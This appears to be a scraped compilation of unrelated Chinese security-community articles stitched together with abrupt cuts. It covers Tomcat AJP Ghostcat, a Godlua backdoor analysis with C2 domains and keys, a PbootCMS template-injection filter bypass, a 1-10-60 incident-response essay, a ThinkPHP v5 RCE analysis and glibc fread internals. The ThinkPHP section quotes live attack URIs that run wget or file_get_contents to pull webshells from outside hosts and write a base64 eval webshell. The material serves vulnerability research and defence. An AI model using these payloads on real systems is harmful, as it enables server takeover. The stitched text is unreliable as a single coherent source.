通过分析复现发现Tomcat ajp协议存在web目录下任意文件读取漏洞以及JSP文件包含漏洞。当ajp
URI设置为非jsp路径时，Tomcat会调用DefaultServlet处理，此时会导致web目录任意文件读取漏洞。当ajp
URI设置为jsp路径时，Tomcat会调用JspServlet处理，此时会导致JSP文件包含漏洞。
2.1 Web目录任意文件读取漏洞
当ajp URI设置为非jsp路径时，Tomcat会调用DefaultServlet处理,我们需要控制如下两个属性：
javax.servlet.include.path_info
javax.servlet.include.servlet_path
其中，javax.servlet.include.servlet_path属性为当前项目路径、javax.servlet.include.path_info属性为目录路径。然后，通过DefaultServlet类的getRelativePath方法进行拼接获得path路径。如下图所示：
最后，会将path带入到getResource(path)方法中造成任意文件读取。如下图所示：
利用该漏洞成功读取到/WEB-INF/目录下web.xml文件。
2.2 Jsp文件包含漏洞
当ajp URI设置为jsp路径时，Tomcat会调用JspServlet的service方法处理，如下图所示：
同样会获取javax.servlet.include.path_info、javax.servlet.include.servlet_path这两个属性（经过上面的分析我们已经知道可以通过ajp协议控制这两个属性）。将这两个属性
对应的值拼接到jspURi变量中，最后交给serviceJspFile方法处理，如下图所示：
Venus.txt文件代码如下所示：
成功RCE结果如下图所示：
# **三、影响版本**
1. Tomcat 6
2. Tomcat 7
3. Tomcat 8
4. Tomcat 9
# **四、规避方案**
* 将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复
* 禁用AJP协议
编辑 /conf/server.xml，找到如下行：
`<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->`
将此行注释掉（也可删掉该行）：
`<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->`
* 配置secret来设置AJP协议的认证凭证。
例如（注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值）：
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>。
* * * | 社区文章 |
# Godlua Backdoor分析报告
##### 译文声明
本文是翻译文章，文章原作者 360netlab，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/an-analysis-of-godlua-backdoor/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
2019年4月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前有一部分杀软误识别为挖矿程序。通过详细分析，我们确定这是一款Lua-based Backdoor，因为这个样本加载的Lua字节码文件幻数为“God”，所以我们将它命名为Godlua Backdoor。
Godlua Backdoor会使用硬编码域名，Pastebin.com，GitHub.com和DNS
TXT记录等方式，构建存储C2地址的冗余机制。同时，它使用HTTPS加密下载Lua字节码文件，使用DNS over
HTTPS获取C2域名解析，保障Bot与Web Server和C2之间的安全通信。
我们观察到Godlua
Backdoor实际上存在2个版本，并且有在持续更新。我们还观察到攻击者会通过Lua指令，动态运行Lua代码，并对一些网站发起HTTP Flood 攻击。
## 概览
目前，我们看到的Godlua
Backdoor主要存在2个版本，201811051556版本是通过遍历Godlua下载服务器得到，我们没有看到它有更新。当前Godlua
Backdoor活跃版本为20190415103713 ~
2019062117473，并且它还在持续更新。它们都是通过C语言开发实现的Backdoor，不过后者能够适应更多的计算机平台以及支持更多的功能，以下是它们的详细对比图。
## Godlua Backdoor逆向分析
### version 201811051556
这是我们发现Godlua Backdoor
早期实现的版本(201811051556)，它主要针对Linux平台，并支持2种C2指令，分别是执行Linux系统命令和自定义文件。
样本信息
* MD5: 870319967dba4bd02c7a7f8be8ece94f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
**C2冗余机制**
我们发现它通过硬编码域名和Github项目描述2种方式来存储C2地址，这其实是一种C2冗余机制。
它的硬编码C2域名是: d.heheda.tk
硬编码Github项目地址，并将C2信息存储在项目描述位置
**C2指令**
cmd_call， 执行Linux系统命令
cmd_shell，执行自定义文件
**C2协议分析**
数据包格式
LENGTH
|
TYPE
|
DATA
---|---|---
Little endian,2 bytes
|
1 bytes
|
(Length -3) bytes
**加密算法**
XOR 的Key是随机产生的16 bytes数据，算法为
**数据包概览**
cmd_handshake
packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
Length: packet[0:1] --->0x0024
Type: packet[2] --->0x02,handshake
Data: packet[3:31]
Data
Data[0:15] ---->xor key
Data[16:23] ---->version,hardcoded,little endian.
Data[24:31] ---->arch,hardcoded.
cmd_heartbeat
packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
Length: packet[0:1] --->0x000b
Type: packet[2] --->0x03,heartbeat
Data: packet[3:10] --->xored clock64()
### version 20190415103713 ~ 20190621174731
它是Godlua Backdoor当前活跃版本，主要针对Windows和Linux平台，通过Lua实现主控逻辑并主要支持5种C2指令。
**样本信息**
version 20190415103713
* MD5: c9b712f6c347edde22836fb43b927633
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked,
stripped
version 20190621174731
* MD5: 75902cf93397d2e2d1797cd115f8347a
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked,
stripped
**C2冗余机制**
**Stage-1 URL**
Stage-1 URL存储有3种冗余机制，分别是将该信息通过硬编码密文，Github项目描述和Pastebin文本存储。在解密得到Stage-1
URL后会下载start.png文件，它实际上是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-2 URL。
**加密算法**
* AES，CBC模式
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
**硬编码密文**
version 20190415103713
* AES密文：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E
* Stage-1 URL明文：https://d.heheda.tk/%s.png
version 20190621174731
* AES密文：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD
* Stage-1 URL明文数据：https://img0.cloudappconfig.com/%s.png
**Github项目描述**
* AES密文：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92
* Github URL明文：https://api.github.com/repos/helegedada/heihei
* 解密流程:
* * Github项目描述密文: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb
* Stage-1 URL明文数据：https://img1.cloudappconfig.com/%s.png
**Pastebin文本**
* AES密文：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48
DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15
* Pastebin URL明文：https://pastebin.com/raw/vSDzq3Md
* 解密流程:
* * Pastebin 文本密文：G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj
* Stage-1 URL明文数据：https://img2.cloudappconfig.com/%s.png
**Stage-2 URL**
Stage-2 URL存储有2种冗余机制，分别是将该信息通过Github项目文件和DNS TXT存储。在解密得到Stage-2
URL后会下载run.png文件，它也是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-3 C2。
**加密算法**
* AES，CBC模式
* key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a
* iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c
**Github项目文件**
* Github URL明文存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：
* Github 文件密文：
kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=
* Stage-2 URL明文数据：{“u”:”https:\/\/dd.heheda.tk\/%s.png”,”c”:”dd.heheda.tk::198.204.231.250:”}
DNS TXT
* DNS TXT信息存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：
* 通过DNS over HTTPS请求获取DNS TXT记录：
* DNS TXT密文： 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/
* Stage-2 URL明文数据：{“u”:”http:\/\/img1.cloudappconfig.com\/%s.png”,”c”:”img1.cloudappconfig.com::43.224.225.220:”}
**Stage-3 C2**
Stage-3 C2硬编码在Lua字节码文件中（run.png），通过反汇编得到以下信息
version 20190415103713
version 20190621174731
通过DNS Over HTTPS请求获取C2域名A记录
**C2指令**
| CMD | Type |
| ——— | —- |
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
**C2协议分析**
**数据包格式**
TYPE
|
LENGTH
|
DATA
---|---|---
1byte
|
Big endian,2 bytes
|
Length bytes
**数据包概览**
* HANDSHAKE
Type: packet[0] —>0x01,HANDSHAKE
LENGTH: packet[1:2] —>0x0010
Data: packet[3:end]
data[0:7] —>Session
data[8:end] —>version,0x00125cfecd8bcb->20190621174731
* HEARTBEAT
* Send:
* Type: packet[0] —>0x02,HEARTBEAT
* Length: packet[1:2] —>0x4
* Data: packet[3:end] —>time,0x5d13779b,1561556891
* Replay:
* Type: packet[0] —>0x02,HEARTBEAT
* Length: packet[1:2] —>0x4
* Data: packet[3:end] —>1561556891
* LUA Payload
* Type: packet[0] —>0x03,LUA
* Length: packet[1:2] —>0x00ab
* Data: packet[3:end] —>Lua script
我们可以观察到攻击者正在对www.liuxiaobei.top进行HTTP Flood攻击
**Lua脚本分析**
Godlua Backdoor Bot样本在运行中会下载许多Lua脚本，可以分为运行，辅助，攻击3大类
* 运行：start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png
* 辅助：packet.png,curl.png,util.png,utils.png
* 攻击：VM.png,CC.png
**加密算法**
* AES，CBC模式
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
**Lua幻数**
解密后的文件以upgrade.png为例，是pre-compiled code,高亮部分为文件头。
可以发现幻数从Lua变成了God，虽然样本中有”$LuaVersion: God 5.1.4 C$$LuaAuthors: R.
$”字串，但事实上，所采用的版本并不是5.1.4，具体版本无法确定，但可以肯定的是大于5.2。
**反编译**
为了反编译上述脚本，必须知道样本对Lua进行了哪些修改。经过分析，修改分为两大块，分别是：Lua Header 和 Lua Opcode。
通过Luadec[[1]](https://github.com/viruscamp/luadec)反编译效果图
## 处置建议
我们还没有完全看清楚Godlua
Backdoor的传播途径，但我们知道一些Linux用户是通过Confluence漏洞利用（CVE-2019-3396）感染的。如果我们的读者有更多的信息，欢迎联系我们。
我们建议读者对Godluad Backdoor相关IP，URL和域名进行监控和封锁。
### 联系我们
感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。
## IoC list
### 样本MD5
870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
### URL
https://helegedada.github.io/test/test
https://api.github.com/repos/helegedada/heihei
http://198.204.231.250/linux-x64
http://198.204.231.250/linux-x86
https://dd.heheda.tk/i.jpg
https://dd.heheda.tk/i.sh
https://dd.heheda.tk/x86_64-static-linux-uclibc.jpg
https://dd.heheda.tk/i686-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/i.jpg
https://dd.cloudappconfig.com/i.sh
https://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg
https://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg
http://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe
http://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan
http://d.cloudappconfig.com/i686-static-linux-uclibc/Satan
http://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan
https://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan
### C2 Domain
d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
### IP
198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK | 社区文章 |
# 前言
在上一篇2.0.9的版本分析中( <https://xz.aliyun.com/t/7918>
)，有师傅提到文中的漏洞在nginx下利用不了，为了解决这个问题同时挖掘新版本可用的利用方法，对目前的3.0.1版本进行了进一步分析
# 下载
下载源码： <https://gitee.com/hnaoyun/PbootCMS>
版本V3.0.1 ，更新时间为20200709
安装教程如下
安装后去 <https://www.pbootcms.com/freesn/>获取授权码
# 代码分析
依然是先查看apps\home\controller\ParserController.php中的parserIfLabel方法的两个if标签的过滤项
if (preg_match_all('/([\w]+)([\/\*\<\>\%\w\s\\\\]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)/i', $matches[1][$i]))
关于第一处的判断，我们依然可以使用在函数名和括号之间插入控制字符的方法来绕过该处校验，对于第二处，可以看到在黑名单中相较于上个分析版本（2.0.9）添加了getallheaders的黑名单判断，于是该处我们需要寻找新的方法来实现代码执行的目的，这让我想到了array_filter函数
通过该函数我们可以实现执行php代码，例如array_filter(['whoami'],'system');
那么接下来我们需要思考如何绕过黑名单中对system的检测，在这里我们依然可以将system放到header头中，这里可以使用session_id(session_start())的方法来取到session的值，我们可以将session的值置为system，就可以成功的调用system函数来执行命令了，通过上面的思路写出利用payload使用的时候却发生了如下问题
该处的冒号被替换成了`@`符号，通过查看github更新记录可以发现如下代码段
该处使用了正则来替换我们输入的if标签，为了绕过该处正则的替换我们可以使用反斜杠来进行绕过，例如{pboot\:if}{/pboot\:if}，该处的反斜杠会被写入数据库，而在程序调用该段数据并渲染到前台的模板时会调用到stripcslashes函数，进而删除反斜杠，代码位于core\function\handle.php中，如图
通过上面的分析，我们易得如下payload
# 漏洞利用
来到后台站点信息处
插入如下代码并保存
而后来到前台首页，访问前台首页抓取数据包，将cookie中session的配置项改为system,如图
可以看到成功执行了system("whoami"); | 社区文章 |
# 安全黄金法则：1分钟检测，10分钟调查，60分钟控制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
对于现在组织机构而言，网络安全攻击无可避免，有效防护的关键是速度和准确度。当面临攻击时候，企业能做就是快速反应，包括：
●尽可能快检测事件
●彻底调查该事件，发现你需要解决一切问题
●在它爆发和造成危害之前控制住它
很多企业组织机构也知道速度的重要性，但是不确定如何将其转化为可衡量的标准。
**在这里推荐1-10-60规则，即1分钟进行检测，10分钟进行调查，60分钟进行控制和补救。**
努力遵守这一规则的组织能够更好地防范威胁，并在网络安全事件发生时成功地补救。
那么组织机构距离安全标准到底有多远？这正是本文需要探究问题，包括组织机构理解、检测和处理安全威胁的能力，以及他们检测速度是否足够快？是否知道哪些情况将他们置于危险之中？他们是否能在攻击者完成目标之前处理威胁。
## 1分钟去检测
时间是至关重要的。如果无法做到完全阻止入侵者访问入侵，那么就必须要能够尽快检测到入侵。然而，事实相反，经常出现入侵者在网络上停留几个月而不被发现。
研究表明只有11%的受访者估计他们的组织能够在一分钟内检测到网络入侵者。而对于那些在第一线处理这些入侵的安全专家来说，只有9%的人相信他们组织能够在1分钟内检测到入侵。
平均而言，受访者估计他们的组织需要120小时来检测网络安全入侵或事件。这相当于5天昼夜不停地工作。想象一下，一个恶意的威胁攻击者在将近一周的时间里都没有被发现，可以造成多大的破坏。
对于很多组织机构而言，网络安全团队的主要关注点都不在检测。只有19%的人认为他们的组织要求他们将检测作为主要关注点，38%组织机构将关注点放在阻止访问方面。虽然从开始主动监视和避免攻击很重要，但面对攻击者日益复杂战术、技术和过程(TTPs)，使得避免被攻击已经不可能。
能否实现快速检测有可能是“意愿”问题，但对于大部分组织机构而言都是技能问题。32%组织由于遗留老旧资产对升级和安全构成挑战而放慢了速度。与此同时，网络安全部门的资源匮乏(30%)、影子IT(28%)、技能短缺(27%)也被认为是导致检测速度慢的最普遍原因。
然而，如果能实现一分钟的检测时间，这不仅可以减少入侵者接近、访问目标数据时间，而且还可以让组织在调查事件并最终控制事件方面有一个良好的开端。事实上，大多数人(86%)认为，能够在一分钟内探测到网络上的入侵者，将彻底改变游戏规则。
## 10分钟去调查
在完成检测之后，下一步是调查，以找出更多关于攻击情况、攻击者。毕竟，如果能够知道他们是谁，知道他们想要什么，就更容易阻止他们。近四成的受访者认为，当他们的组织受到攻击时，了解攻击者的经验、专业技能水平、动机是至关重要的。三分之二的受访者认为，更多地了解攻击者有助于更好地保护攻击者所针对的数据和文件。
然而，研究表明，在检测到威胁后，平均需要5个小时才能对其进行鉴别分类，6个小时后才能真正对其进行调查。即便在如此长时间下，也只有53%的组织机构发现了威胁攻击者的身份。
虽然，很多组织机构在调查之前，已经在检测上浪费了大量的时间。但是，必须对攻击者的行为和动机进行调查，以尽可能多地发现关于攻击者的信息，从而避免未来的目标和攻击。
尽管绝大多数(88%)的受访者认为“调查”将彻底改变他们的组织处理网络攻击的方式，但只有9%的人报告说他们有这种能力。大多数(88%)的受访者意识到，他们需要做更多的工作来理解网络攻击及其作恶者。
总体来说，调查了解攻击细节是非常重要的，包括谁在攻击，攻击期间发生了什么，攻击的范围，以及攻击者的动机是什么。这些信息可以帮助形成一个必要的和有效的响应步骤。
## 60分钟去控制
在大多数情况下，检测和调查都需要很长时间，组织需要多少时间来控制威胁？到那个时候，是不是太晚了？最重要的是，他们能有效地控制它吗?
三分之二(68%)的受访者承认，他们的组织需要很长时间才能在网络上控制入侵者。平均而言，遏制行动需要受访者组织31小时。
如果检测、分类和调查的平均时间考虑进去，就有另一个严肃的问题要问：一个熟练而有经验的攻击者在162小时不受阻碍地访问你的网络时能造成多大的破坏?
总体而言，只有5%的受访者相信他们的组织能够在一分钟内检测到网络安全事件，在10分钟内进行调查，并在60分钟内将其控制住。
80%的人都经历过这样的事件，一旦黑客侵入网络，安全人员就无法阻止入侵者完成目的。接近一半的受访者(44%)认为，检测时间过长是无法控制的根本原因。近四成的人认为，缺乏资源(39%)或技能(36%)来检测、调查和减轻这些攻击是罪魁祸首。
在检测和调查攻击之后，如果发现攻击者，那么采取对应的手段是不可缺少，包括加强组织网络安全培训、增加预算、采用更加主动安全策略（威胁狩猎）等去控制和缓解攻击情况。
## 如何实现1-10-60法则
对于网络安全事故的黄金标准——1分钟检测，10分钟调查，60分钟控制——似乎只有5%的组织能够做到。
绝大多数组织都在努力及时发现其环境中的威胁、调查黑客并遏制攻击。几乎整整一周过去了，很多组织甚至都没有发现攻击正在发生，而另两天过去了，攻击才得到有效的响应。检测、分类、调查和遏制网络攻击的平均时间为162小时。在这段时间内所造成的损失对企业来说可能是灾难性的。
调查显示，绝大多数组织认识到，他们应该更重视高速检测和攻击者突破预防，以及了解威胁行动者本身的能力。
很多组织已经意识到快速检测和响应的重要性，但是组织如何才能更接近1-10-60目标?他们必须做出哪些改变才能做到这一点?如果他们成功了，他们的组织能得到什么好处?
### 1.采用基于ATT&CK框架与威胁情报相结合的解决方案
调查表明，高级威胁攻击者的持久性和软件供应链中的问题继续困扰着组织。如果没有全面部署有效的终端（含服务器端）安全解决方案的公司，将面临漫长的检测和响应时间，因为它们缺乏抵御网络攻击所需的全面可视化。
例如通过青藤Agent收集详细的服务器数据，结合当下最新ATT&CK框架，使用TTP和绕过技术来识别隐秘的对手。以便在对手实现其目标并造成数据泄露之前迅速检测、调查和阻止入侵行为。
此外，威胁情报方案可以帮助构建安全技术栈，让防御者了解攻击者的动机和行为。这有助于安全团队更全面地了解事件，并做出更明智的决定，以应对未来的攻击。
### 2.下一代安全解决方案是关键
随着复杂攻击的不断发展，各种规模的组织都必须采用前沿技术，如行为分析、人工智能(AI)和机器学习(ML)。这些下一代安全解决方案不再仅仅是通过检测攻击指标(IOAs)，它侧重于在攻击过程中识别攻击者的活动，这可以帮助更快发现攻击行为。调查显示，全球侦测网络事件的平均时间为120小时。
使用那些能够进行预防和检测的安全平台来保护组织变得越来越重要。然而，防御者也必须寻找攻击可能正在进行的早期预警信号，包括代码执行、命令和控制活动以及网络中的横向移动。通过ML进行实时的上下文和行为分析，可以帮助检测这些警告信号并防止遗留技术经常遗漏的攻击，从而为防御者提供预防未来攻击的洞察力。（文/青藤云安全） | 社区文章 |
2018年12月10日，ThinkPHP
v5系列发布安全更新，修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击，并对该漏洞原理以及漏洞利用方式进行分析。现在，对于云上未及时进行系统更新的用户，阿里云态势感知已提供攻击告警，WAF产品支持同步拦截，目前云上客户基本未受到影响。
此次漏洞由ThinkPHP
v5框架代码问题引起，其覆盖面广，且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多，需要格外关注。阿里云是仅有少数的捕获到该漏洞整个攻击链的云服务商。下面我们对其漏洞背景，攻击原理和行为进行全面分析，并提供真实案列分析。
# 漏洞分析
由于ThinkPHP
v5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接进行远程的代码执行，进而获得服务器权限。
# 漏洞影响的版本
ThinkPHP v5.0系列 < 5.0.23
ThinkPHP v5.1系列 < 5.1.31
# 漏洞原理分析
通过对比ThinkPHP官方发布的漏洞修复说明，直接分析thinkphp解析路由调度的代码
/thinkphp/library/think/Route.php
parseUrlPath函数调用path函数并解析了pathinfo中的路由信息，函数中url直接用/切分，没有加任何过滤机制。
搜索pathinfo发现 //thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数
我们可以利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s，所以可以直接构造命令注入的函数。
继续分析路由调度的代码app.php，通过'controller' 来执行控制器操作，实例化控制器，跟进controller方法
//thinkphp/library/think/Loader.php中，controller调用parseModuleAndClass方法，直接解析$name，实例化$class，当$name匹配
反斜线\时直接将其作为方法和类 strpos($name, '\')
，我们可以在这里构造实例化我们想要调用的方法。实例化\namespace\class类并执行call_user_func_array方法。
# 漏洞复现：
我们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是我们在存在该漏洞的主机上执行ls命令，可以拿到目录下的所有文件详情。
# 漏洞攻击真实案例
截至2018年12月11日，阿里云态势感知监控到的数据显示，黑客们利用该漏洞进行攻击的方式有很多，目前主要是以webshell为主，可能由于曝光PoC时间太短，很多黑产(如挖矿)都还没充分利用。对目前所有的webshell方式总结后，比较流行的有以下几种：
1. 利用该漏洞远程执行下载命令，通过wget远程下载一个webshell后门，执行命令从而获得服务器权限。
其攻击URI详情如下：
"/admin.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt
"
通过执行wget命令：wget -O help.php
<http://tzrj.host.smartgslb.com/help.php.txt，下载webshell。>
下面是该webshell所具有的功能列表，如下图：
1. 利用file_get_contents和file_put_contents函数，远程下载webshell。
其攻击的URI详情如下：
"/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('<http://jzy1115.host3v.vip>'));"
该webshell所具备的功能详细如下图：
1. 利用file_put_contents函数 写入一句话webshell，其攻击的URI详情如下：
"/admin.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"
该命令行包含的base64加密字符串解码如下：
"<?php $pass=$_POST['360very'];eval($pass);?>"
该恶意代码将被写入到文件./vendor/autoclass.php中。
# 漏洞影响和攻击趋势
通过对网站信息数据的统计，我们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示，从2018-12-04开始至2018-12-11，被攻击的网站数据暴增。以我们和漏洞利用攻击对抗的经验来看，该漏洞的利用攻击会出现更多变种，各个企业应尽快升级ThinkPHP的代码框架至最新版本，避免自己的网站被攻破，服务器沦陷为肉鸡。
下面是被攻击网站数量变化趋势，可看出该漏洞被曝光后迅速被大规模自动化利用。
# 安全建议
阿里云安全专家提醒：ThinkPHP的v5.0.23和v5.1.31为安全版本，建议大家尽快升级框架至最新版本来修复此漏洞。对于未及时升级的用户请及时使用阿里云态势感知和WAF来抵御攻击，确保企业正常业务运行。
漏洞详情：<https://blog.thinkphp.cn/869075>
往期威胁快报：
1. [CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警](https://xz.aliyun.com/t/3454)
2. [DockerKiller：首个针对Docker的批量攻击与利用实例](https://xz.aliyun.com/t/2624)
3. [首个PostgreSQL数据库批量挖矿实例分析](https://xz.aliyun.com/t/2591)
4. [首个Spark REST API未授权漏洞利用分析](https://xz.aliyun.com/t/2490) | 社区文章 |
# IO FILE之fread详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这是IO FILE系列的第二篇文章，主要写的是对于fread函数的源码分析，描述fread读取文件流的主要流程以及函数对IO
FILE结构体以及结构体中的vtable的操作。流程有点小复杂，入坑需谨慎。
## 总体流程
第一篇文章`fopen`的分析，讲述了系统如何为FILE结构体分配内存并将其链接进入`_IO_list_all`的。
这篇文章则是说在创建了文件FILE以后，fread如何实现从文件中读取数据的。在开始源码分析之前，我先把fread的流程图给贴出来，后面在分析源码的时候，可以适时的参考下流程图，增进理解：
从图中可以看到，整体流程为`fread`调用`_IO_sgetn`，`_IO_sgetn`调用vtable中的`_IO_XSGETN`也就是`_IO_file_xsgetn`，`_IO_file_xsgetn`是`fread`实现的核心函数。它的流程简单总结为：
1. 判断`fp->_IO_buf_base`输入缓冲区是否为空，如果为空则调用的`_IO_doallocbuf`去初始化输入缓冲区。
2. 在分配完输入缓冲区或输入缓冲区不为空的情况下，判断输入缓冲区是否存在数据。
3. 如果输入缓冲区有数据则直接拷贝至用户缓冲区，如果没有或不够则调用`__underflow`函数执行系统调用读取数据到输入缓冲区，再拷贝到用户缓冲区。
## 源码分析
仍然是基于glibc2.23的源码分析，使用带符号的glibc对程序进行调试。
fread的函数原型是：
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
The function fread() reads nmemb items of data, each size bytes long, from the stream pointed to by stream, storing them at the location given by ptr.
demo程序如下：
#include<stdio.h>
int main(){
char data[20];
FILE*fp=fopen("test","rb");
fread(data,1,20,fp);
return 0;
}
要让程序可以运行，执行命令`echo 111111>test`，然后gdb加载程序，断点下在fread，开始一边看源码，一边动态跟踪流程。
程序运行起来后，可以看到断在`_IO_fread`函数。在开始之前我们先看下FILE结构体fp的内容，从图里可以看到此时的`_IO_read_ptr`和`_IO_buf_base`等指针都还是空的，后面的分析一个很重要的步骤也是看这些指针是如何被赋值以及发挥作用的：
vtable中的指针内容如下：
fread实际上是`_IO_fread`函数，文件目录为`/libio/iofread.c`：
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
...
# 调用_IO_sgetn函数
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
`_IO_fread`函数调用`_IO_sgetn`函数，跟进去该函数：
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
看到其调用了`_IO_XSGETN`函数，查看它定义：
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
实际上就是FILE结构体中vtable的`__xsgetn`函数，跟进去`/libio/fileops.c`：
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
...
# 第一部分，如果fp->_IO_buf_base为空的话则调用`_IO_doallocbuf`
_IO_doallocbuf (fp);
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have) ## 第二部分，输入缓冲区里已经有足够的字符，则直接把缓冲区里的字符给目标buff
